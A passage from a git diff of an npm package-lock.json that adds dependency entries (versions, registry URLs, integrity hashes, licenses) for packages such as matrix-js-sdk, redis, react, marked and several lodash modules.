"https://ko-fi.com/killymxi" + } + }, "node_modules/levn": { "version": "0.4.1", "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", @@ -2773,6 +5613,11 @@ "node": ">= 0.8.0" } }, + "node_modules/limiter": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/limiter/-/limiter-1.1.5.tgz", + "integrity": "sha512-FWWMIEOxz3GwUI4Ts/IvgVy6LPvoMPgjMdQ185nN6psJyBJ4yOpzqm695/h5umdLJg2vW3GR5iG11MAkR2AzJA==" + }, "node_modules/locate-path": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", @@ -2794,18 +5639,79 @@ "integrity": "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==", "license": "MIT" }, + "node_modules/lodash.clonedeep": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.clonedeep/-/lodash.clonedeep-4.5.0.tgz", + "integrity": "sha512-H5ZhCF25riFd9uB5UCkVKo61m3S/xZk1x4wA6yp/L3RFP6Z/eHH1ymQcGLo7J3GMPfm0V/7m1tryHuGVxpqEBQ==", + "license": "MIT" + }, + "node_modules/lodash.includes": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/lodash.includes/-/lodash.includes-4.3.0.tgz", + "integrity": "sha512-W3Bx6mdkRTGtlJISOvVD/lbqjTlPPUDTMnlXZFnVwi9NKJ6tiAk6LVdlhZMm17VZisqhKcgzpO5Wz91PCt5b0w==", + "license": "MIT" + }, + "node_modules/lodash.isboolean": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/lodash.isboolean/-/lodash.isboolean-3.0.3.tgz", + "integrity": "sha512-Bz5mupy2SVbPHURB98VAcw+aHh4vRV5IPNhILUCsOzRmsTmSQ17jIuqopAentWoehktxGd9e/hbIXq980/1QJg==", + "license": "MIT" + }, + "node_modules/lodash.isinteger": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/lodash.isinteger/-/lodash.isinteger-4.0.4.tgz", + "integrity": "sha512-DBwtEWN2caHQ9/imiNeEA5ys1JoRtRfY3d7V9wkqtbycnAmTvRRmbHKDV4a0EYc678/dia0jrte4tjYwVBaZUA==", + "license": "MIT" + }, + "node_modules/lodash.isnumber": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/lodash.isnumber/-/lodash.isnumber-3.0.3.tgz", + "integrity": "sha512-QYqzpfwO3/CWf3XP+Z+tkQsfaLL/EnUlXWVkIk5FUPc4sBdTehEqZONuyRt2P67PXAk+NXmTBcc97zw9t1FQrw==", + "license": "MIT" + }, + "node_modules/lodash.isplainobject": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz", + "integrity": "sha512-oSXzaWypCMHkPC3NvBEaPHf0KsA5mvPrOPgQWDsbg8n7orZ290M0BmC/jgRZ4vcJ6DTAhjrsSYgdsW/F+MFOBA==", + "license": "MIT" + }, + "node_modules/lodash.isstring": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/lodash.isstring/-/lodash.isstring-4.0.1.tgz", + "integrity": "sha512-0wJxfxH1wgO3GrbuP+dTTk7op+6L41QCXbGINEmD+ny/G/eCqGzxyCsh7159S+mgDDcoarnBw6PC1PS5+wUGgw==", + "license": "MIT" + }, "node_modules/lodash.merge": { "version": "4.6.2", "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", "dev": true }, + "node_modules/lodash.once": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/lodash.once/-/lodash.once-4.1.1.tgz", + "integrity": "sha512-Sb487aTOCr9drQVL8pIxOzVhafOjZN9UU54hiN8PU3uAiSV7lx1yYNpbNmex2PK6dSJoNTSJUUswT651yww3Mg==", + "license": "MIT" + }, "node_modules/lodash.snakecase": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/lodash.snakecase/-/lodash.snakecase-4.1.1.tgz", "integrity": "sha512-QZ1d4xoBHYUeuouhEq3lk3Uq7ldgyFXGBhg04+oRLnIz8o9T65Eh+8YdroUwn846zchkA9yDsDl5CVVaV2nqYw==", "license": "MIT" }, + "node_modules/loglevel": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/loglevel/-/loglevel-1.9.2.tgz", + "integrity": "sha512-HgMmCqIJSAKqo68l0rS2AanEWfkxaZ5wNiEFb5ggm08lDs9Xl2KxBlX3PTcaD2chBM1gXAYf491/M2Rv8Jwayg==", + "license": "MIT", + "engines": { + "node": ">= 0.6.0" + }, + "funding": { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/loglevel" + } + }, "node_modules/longest-streak": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/longest-streak/-/longest-streak-3.1.0.tgz", @@ -2816,6 +5722,28 @@ "url": "https://github.com/sponsors/wooorm" } }, + "node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "license": "ISC", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/lru-memoizer": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/lru-memoizer/-/lru-memoizer-2.3.0.tgz", + "integrity": "sha512-GXn7gyHAMhO13WSKrIiNfztwxodVsP8IoZ3XfrJV4yH2x0/OeTO/FIaAHTY5YekdGgW94njfuKmyyt1E0mR6Ug==", + "license": "MIT", + "dependencies": { + "lodash.clonedeep": "^4.5.0", + "lru-cache": "6.0.0" + } + }, "node_modules/luxon": { "version": "3.7.2", "resolved": "https://registry.npmjs.org/luxon/-/luxon-3.7.2.tgz", @@ -2851,6 +5779,96 @@ "url": "https://github.com/sponsors/wooorm" } }, + "node_modules/marked": { + "version": "15.0.12", + "resolved": "https://registry.npmjs.org/marked/-/marked-15.0.12.tgz", + "integrity": "sha512-8dD6FusOQSrpv9Z1rdNMdlSgQOIP880DHqnohobOmYLElGEqAL/JvxvuxZO16r4HtjTlfPRDC1hbvxC9dPN2nA==", + "license": "MIT", + "bin": { + "marked": "bin/marked.js" + }, + "engines": { + "node": ">= 18" + } + }, + "node_modules/math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/matrix-events-sdk": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/matrix-events-sdk/-/matrix-events-sdk-0.0.1.tgz", + "integrity": "sha512-1QEOsXO+bhyCroIe2/A5OwaxHvBm7EsSQ46DEDn8RBIfQwN5HWBpFvyWWR4QY0KHPPnnJdI99wgRiAl7Ad5qaA==", + "license": "Apache-2.0" + }, + "node_modules/matrix-js-sdk": { + "version": "41.3.0", + "resolved": "https://registry.npmjs.org/matrix-js-sdk/-/matrix-js-sdk-41.3.0.tgz", + "integrity": "sha512-QTNHpBQEKPH3WS4O92CBfFj6GxeyijT8osI/QxNvOrM3rE6CySXRtRRKnzR0ntFSdrk1CxrDGV6h2wmk7B3peQ==", + "license": "Apache-2.0", + "dependencies": { + "@babel/runtime": "^7.12.5", + "@matrix-org/matrix-sdk-crypto-wasm": "^18.0.0", + "another-json": "^0.2.0", + "bs58": "^6.0.0", + "content-type": "^1.0.4", + "jwt-decode": "^4.0.0", + "loglevel": "^1.9.2", + "matrix-events-sdk": "0.0.1", + "matrix-widget-api": "^1.16.1", + "oidc-client-ts": "^3.0.1", + "p-retry": "7", + "sdp-transform": "^3.0.0", + "unhomoglyph": "^1.0.6", + "uuid": "13" + }, + "engines": { + "node": ">=22.0.0" + } + }, + "node_modules/matrix-js-sdk/node_modules/p-retry": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/p-retry/-/p-retry-7.1.1.tgz", + "integrity": "sha512-J5ApzjyRkkf601HpEeykoiCvzHQjWxPAHhyjFcEUP2SWq0+35NKh8TLhpLw+Dkq5TZBFvUM6UigdE9hIVYTl5w==", + "license": "MIT", + "dependencies": { + "is-network-error": "^1.1.0" + }, + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/matrix-js-sdk/node_modules/uuid": { + "version": "13.0.0", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-13.0.0.tgz", + "integrity": "sha512-XQegIaBTVUjSHliKqcnFqYypAd4S+WCYt5NIeRs6w/UAry7z8Y9j5ZwRRL4kzq9U3sD6v+85er9FvkEaBpji2w==", + "funding": [ + "https://github.com/sponsors/broofa", + "https://github.com/sponsors/ctavan" + ], + "license": "MIT", + "bin": { + "uuid": "dist-node/bin/uuid" + } + }, + "node_modules/matrix-widget-api": { + "version": "1.17.0", + "resolved": "https://registry.npmjs.org/matrix-widget-api/-/matrix-widget-api-1.17.0.tgz", + "integrity": "sha512-5FHoo3iEP3Bdlv5jsYPWOqj+pGdFQNLWnJLiB0V7Ygne7bb+Gsj3ibyFyHWC6BVw+Z+tSW4ljHpO17I9TwStwQ==", + "license": "Apache-2.0", + "dependencies": { + "@types/events": "^3.0.0", + "events": "^3.2.0" + } + }, "node_modules/mdast-util-find-and-replace": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/mdast-util-find-and-replace/-/mdast-util-find-and-replace-3.0.2.tgz", @@ -3018,6 +6036,27 @@ "url": "https://opencollective.com/unified" } }, + "node_modules/mdast-util-to-hast": { + "version": "13.2.1", + "resolved": "https://registry.npmjs.org/mdast-util-to-hast/-/mdast-util-to-hast-13.2.1.tgz", + "integrity": "sha512-cctsq2wp5vTsLIcaymblUriiTcZd0CwWtCbLvrOzYCDZoWyMNV8sZ7krj09FSnsiJi3WVsHLM4k6Dq/yaPyCXA==", + "license": "MIT", + "dependencies": { + "@types/hast": "^3.0.0", + "@types/mdast": "^4.0.0", + "@ungap/structured-clone": "^1.0.0", + "devlop": "^1.0.0", + "micromark-util-sanitize-uri": "^2.0.0", + "trim-lines": "^3.0.0", + "unist-util-position": "^5.0.0", + "unist-util-visit": "^5.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, "node_modules/mdast-util-to-markdown": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/mdast-util-to-markdown/-/mdast-util-to-markdown-2.1.2.tgz", @@ -3052,6 +6091,27 @@ "url": "https://opencollective.com/unified" } }, + "node_modules/media-typer": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-1.1.0.tgz", + "integrity": "sha512-aisnrDP4GNe06UcKFnV5bfMNPBUw4jsLGaWwWfnH3v02GnBuXX2MCVn5RbrWo0j3pczUilYblq7fQ7Nw2t5XKw==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/merge-descriptors": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-2.0.0.tgz", + "integrity": "sha512-Snk314V5ayFLhp3fkUREub6WtjBfPdCPY1Ln8/8munuLuiYhsABgBVWsozAG+MWMbVEvcdcpbi9R7ww22l9Q3g==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/micromark": { "version": "4.0.2", "resolved": "https://registry.npmjs.org/micromark/-/micromark-4.0.2.tgz", @@ -3615,6 +6675,31 @@ ], "license": "MIT" }, + "node_modules/mime-db": { + "version": "1.54.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz", + "integrity": "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz", + "integrity": "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A==", + "license": "MIT", + "dependencies": { + "mime-db": "^1.54.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, "node_modules/mimic-response": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", @@ -3691,6 +6776,15 @@ "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", "dev": true }, + "node_modules/negotiator": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-1.0.0.tgz", + "integrity": "sha512-8Ofs/AUQh8MaEcrlq5xOX0CQ9ypTF5dl78mjlMNfOK08fzpgTHQRQPBxcPlEtIw0yRpws+Zo/3r+5WRby7u3Gg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, "node_modules/node-abi": { "version": "3.87.0", "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-3.87.0.tgz", @@ -3703,6 +6797,96 @@ "node": ">=10" } }, + "node_modules/node-domexception": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/node-domexception/-/node-domexception-1.0.0.tgz", + "integrity": "sha512-/jKZoMpw0F8GRwl4/eLROPA3cfcXtLApP0QzLmUT/HuPCZWyB7IY9ZrMeKw2O/nFIqPQB3PVM9aYm0F312AXDQ==", + "deprecated": "Use your platform's native DOMException instead", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/jimmywarting" + }, + { + "type": "github", + "url": "https://paypal.me/jimmywarting" + } + ], + "license": "MIT", + "engines": { + "node": ">=10.5.0" + } + }, + "node_modules/node-fetch": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-3.3.2.tgz", + "integrity": "sha512-dRB78srN/l6gqWulah9SrxeYnxeddIG30+GOqK/9OlLVyLg3HPnr6SqOWTWOXKRwC2eGYCkZ59NNuSgvSrpgOA==", + "license": "MIT", + "dependencies": { + "data-uri-to-buffer": "^4.0.0", + "fetch-blob": "^3.1.4", + "formdata-polyfill": "^4.0.10" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/node-fetch" + } + }, + "node_modules/node-html-parser": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/node-html-parser/-/node-html-parser-7.1.0.tgz", + "integrity": "sha512-iJo8b2uYGT40Y8BTyy5ufL6IVbN8rbm/1QK2xffXU/1a/v3AAa0d1YAoqBNYqaS4R/HajkWIpIfdE6KcyFh1AQ==", + "license": "MIT", + "dependencies": { + "css-select": "^5.1.0", + "he": "1.2.0" + } + }, + "node_modules/node-typedstream": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/node-typedstream/-/node-typedstream-1.4.1.tgz", + "integrity": "sha512-W9zcPlI3RRPOmwaDjwRyr7aYLoJFbvLIIHluFM3I+KZjAlbyhG4L3jSTEJlQmDqrMRQlFVTmivgJWgFlvWXx2Q==", + "license": "MIT", + "dependencies": { + "bplist-parser": "^0.3.2" + } + }, + "node_modules/nth-check": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.1.1.tgz", + "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==", + "license": "BSD-2-Clause", + "dependencies": { + "boolbase": "^1.0.0" + }, + "funding": { + "url": "https://github.com/fb55/nth-check?sponsor=1" + } + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-inspect": { + "version": "1.13.4", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz", + "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, "node_modules/obug": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/obug/-/obug-2.1.1.tgz", @@ -3714,6 +6898,30 @@ ], "license": "MIT" }, + "node_modules/oidc-client-ts": { + "version": "3.5.0", + "resolved": "https://registry.npmjs.org/oidc-client-ts/-/oidc-client-ts-3.5.0.tgz", + "integrity": "sha512-l2q8l9CTCTOlbX+AnK4p3M+4CEpKpyQhle6blQkdFhm0IsBqsxm15bYaSa11G7pWdsYr6epdsRZxJpCyCRbT8A==", + "license": "Apache-2.0", + "dependencies": { + "jwt-decode": "^4.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/on-finished": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", + "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", + "license": "MIT", + "dependencies": { + "ee-first": "1.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, "node_modules/once": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", @@ -3740,6 +6948,15 @@ "node": ">= 0.8.0" } }, + "node_modules/p-finally": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", + "integrity": "sha512-LICb2p9CB7FS+0eR1oqWnHhp0FljGLZCWBE9aix0Uye9W8LTQPwMTYVGWQWIw9RdQiDg4+epXQODwIYJtSJaow==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, "node_modules/p-limit": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", @@ -3770,6 +6987,53 @@ "url": "https://github.com/sponsors/sindresorhus" } }, + "node_modules/p-queue": { + "version": "6.6.2", + "resolved": "https://registry.npmjs.org/p-queue/-/p-queue-6.6.2.tgz", + "integrity": "sha512-RwFpb72c/BhQLEXIZ5K2e+AhgNVmIejGlTgiB9MzZ0e93GRvqZ7uSi0dvRF7/XIXDeNkra2fNHBxTyPDGySpjQ==", + "license": "MIT", + "dependencies": { + "eventemitter3": "^4.0.4", + "p-timeout": "^3.2.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-queue/node_modules/eventemitter3": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.7.tgz", + "integrity": "sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==", + "license": "MIT" + }, + "node_modules/p-retry": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/p-retry/-/p-retry-4.6.2.tgz", + "integrity": "sha512-312Id396EbJdvRONlngUx0NydfrIQ5lsYu0znKVUzVvArzEIt08V1qhtyESbGVd1FGX7UKtiFp5uwKZdM8wIuQ==", + "license": "MIT", + "dependencies": { + "@types/retry": "0.12.0", + "retry": "^0.13.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/p-timeout": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/p-timeout/-/p-timeout-3.2.0.tgz", + "integrity": "sha512-rhIwUycgwwKcP9yTOOFK/AKsAopjjCakVqLHePO3CC6Mir1Z99xT+R63jZxAT5lFZLa2inS5h+ZS2GvR99/FBg==", + "license": "MIT", + "dependencies": { + "p-finally": "^1.0.0" + }, + "engines": { + "node": ">=8" + } + }, "node_modules/parent-module": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", @@ -3782,6 +7046,28 @@ "node": ">=6" } }, + "node_modules/parseley": { + "version": "0.12.1", + "resolved": "https://registry.npmjs.org/parseley/-/parseley-0.12.1.tgz", + "integrity": "sha512-e6qHKe3a9HWr0oMRVDTRhKce+bRO8VGQR3NyVwcjwrbhMmFCX9KszEV35+rn4AdilFAq9VPxP/Fe1wC9Qjd2lw==", + "license": "MIT", + "dependencies": { + "leac": "^0.6.0", + "peberminta": "^0.9.0" + }, + "funding": { + "url": "https://ko-fi.com/killymxi" + } + }, + "node_modules/parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, "node_modules/path-exists": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", @@ -3800,6 +7086,16 @@ "node": ">=8" } }, + "node_modules/path-to-regexp": { + "version": "8.4.2", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-8.4.2.tgz", + "integrity": "sha512-qRcuIdP69NPm4qbACK+aDogI5CBDMi1jKe0ry5rSQJz8JVLsC7jV8XpiJjGRLLol3N+R5ihGYcrPLTno6pAdBA==", + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, "node_modules/pathe": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz", @@ -3807,6 +7103,15 @@ "dev": true, "license": "MIT" }, + "node_modules/peberminta": { + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/peberminta/-/peberminta-0.9.0.tgz", + "integrity": "sha512-XIxfHpEuSJbITd1H3EeQwpcZbTLHc+VVr8ANI9t5sit565tsI4/xK3KWTUFE2e6QiangUkh3B0jihzmGnNrRsQ==", + "license": "MIT", + "funding": { + "url": "https://ko-fi.com/killymxi" + } + }, "node_modules/picocolors": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", @@ -3827,6 +7132,12 @@ "url": "https://github.com/sponsors/jonschlinkert" } }, + "node_modules/postal-mime": { + "version": "2.7.3", + "resolved": "https://registry.npmjs.org/postal-mime/-/postal-mime-2.7.3.tgz", + "integrity": "sha512-MjhXadAJaWgYzevi46+3kLak8y6gbg0ku14O1gO/LNOuay8dO+1PtcSGvAdgDR0DoIsSaiIA8y/Ddw6MnrO0Tw==", + "license": "MIT-0" + }, "node_modules/postcss": { "version": "8.5.6", "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz", @@ -3895,7 +7206,6 @@ "version": "3.8.1", "resolved": "https://registry.npmjs.org/prettier/-/prettier-3.8.1.tgz", "integrity": "sha512-UOnG6LftzbdaHZcKoPFtOcCKztrQ57WkHDeRD9t/PTQtmT0NHSeWWepj6pS0z/N7+08BHFDQVUrfmfMRcZwbMg==", - "dev": true, "license": "MIT", "bin": { "prettier": "bin/prettier.cjs" @@ -3907,6 +7217,47 @@ "url": "https://github.com/prettier/prettier?sponsor=1" } }, + "node_modules/prismjs": { + "version": "1.30.0", + "resolved": "https://registry.npmjs.org/prismjs/-/prismjs-1.30.0.tgz", + "integrity": "sha512-DEvV2ZF2r2/63V+tK8hQvrR2ZGn10srHbXviTlcv7Kpzw8jWiNTqbVgjO3IY8RxrrOUF8VPMQQFysYYYv0YZxw==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/property-information": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/property-information/-/property-information-7.1.0.tgz", + "integrity": "sha512-TwEZ+X+yCJmYfL7TPUOcvBZ4QfoT5YenQiJuX//0th53DE6w0xxLEtfK3iyryQFddXuvkIk51EEgrJQ0WJkOmQ==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/proxy-addr": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", + "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", + "license": "MIT", + "dependencies": { + "forwarded": "0.2.0", + "ipaddr.js": "1.9.1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/proxy-from-env": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-2.1.0.tgz", + "integrity": "sha512-cJ+oHTW1VAEa8cJslgmUZrc+sjRKgAKl3Zyse6+PV38hZe/V6Z14TbCuXcan9F9ghlz4QrFr2c92TNF82UkYHA==", + "license": "MIT", + "engines": { + "node": ">=10" + } + }, "node_modules/pump": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.3.tgz", @@ -3926,6 +7277,45 @@ "node": ">=6" } }, + "node_modules/qs": { + "version": "6.15.1", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.15.1.tgz", + "integrity": "sha512-6YHEFRL9mfgcAvql/XhwTvf5jKcOiiupt2FiJxHkiX1z4j7WL8J/jRHYLluORvc1XxB5rV20KoeK00gVJamspg==", + "license": "BSD-3-Clause", + "dependencies": { + "side-channel": "^1.1.0" + }, + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/raw-body": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-3.0.2.tgz", + "integrity": "sha512-K5zQjDllxWkf7Z5xJdV0/B0WTNqx6vxG70zJE4N0kBs4LovmEYWJzQGxC9bS9RAKu3bgM40lrd5zoLJ12MQ5BA==", + "license": "MIT", + "dependencies": { + "bytes": "~3.1.2", + "http-errors": "~2.0.1", + "iconv-lite": "~0.7.0", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.10" + } + }, "node_modules/rc": { "version": "1.2.8", "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz", @@ -3950,6 +7340,29 @@ "node": ">=0.10.0" } }, + "node_modules/react": { + "version": "19.2.5", + "resolved": "https://registry.npmjs.org/react/-/react-19.2.5.tgz", + "integrity": "sha512-llUJLzz1zTUBrskt2pwZgLq59AemifIftw4aB7JxOqf1HY2FDaGDxgwpAPVzHU1kdWabH7FauP4i1oEeer2WCA==", + "license": "MIT", + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-dom": { + "version": "19.2.5", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.2.5.tgz", + "integrity": "sha512-J5bAZz+DXMMwW/wV3xzKke59Af6CHY7G4uYLN1OvBcKEsWOs4pQExj86BBKamxl/Ik5bx9whOrvBlSDfWzgSag==", + "license": "MIT", + "peer": true, + "dependencies": { + "scheduler": "^0.27.0" + }, + "peerDependencies": { + "react": "^19.2.5" + } + }, "node_modules/readable-stream": { "version": "3.6.2", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", @@ -3964,6 +7377,28 @@ "node": ">= 6" } }, + "node_modules/redis": { + "version": "5.11.0", + "resolved": "https://registry.npmjs.org/redis/-/redis-5.11.0.tgz", + "integrity": "sha512-YwXjATVDT+AuxcyfOwZn046aml9jMlQPvU1VXIlLDVAExe0u93aTfPYSeRgG4p9Q/Jlkj+LXJ1XEoFV+j2JKcQ==", + "license": "MIT", + "dependencies": { + "@redis/bloom": "5.11.0", + "@redis/client": "5.11.0", + "@redis/json": "5.11.0", + "@redis/search": "5.11.0", + "@redis/time-series": "5.11.0" + }, + "engines": { + "node": ">= 18" + } + }, + "node_modules/reflect-metadata": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/reflect-metadata/-/reflect-metadata-0.2.2.tgz", + "integrity": "sha512-urBwgfrvVP/eAyXx4hluJivBKzuEbSQs9rKWCrCkbSxNv8mxPcUZKeuoF3Uy4mJl3Lwprp6yy5/39VWigZ4K6Q==", + "license": "Apache-2.0" + }, "node_modules/remark-gfm": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/remark-gfm/-/remark-gfm-4.0.1.tgz", @@ -4019,6 +7454,27 @@ "integrity": 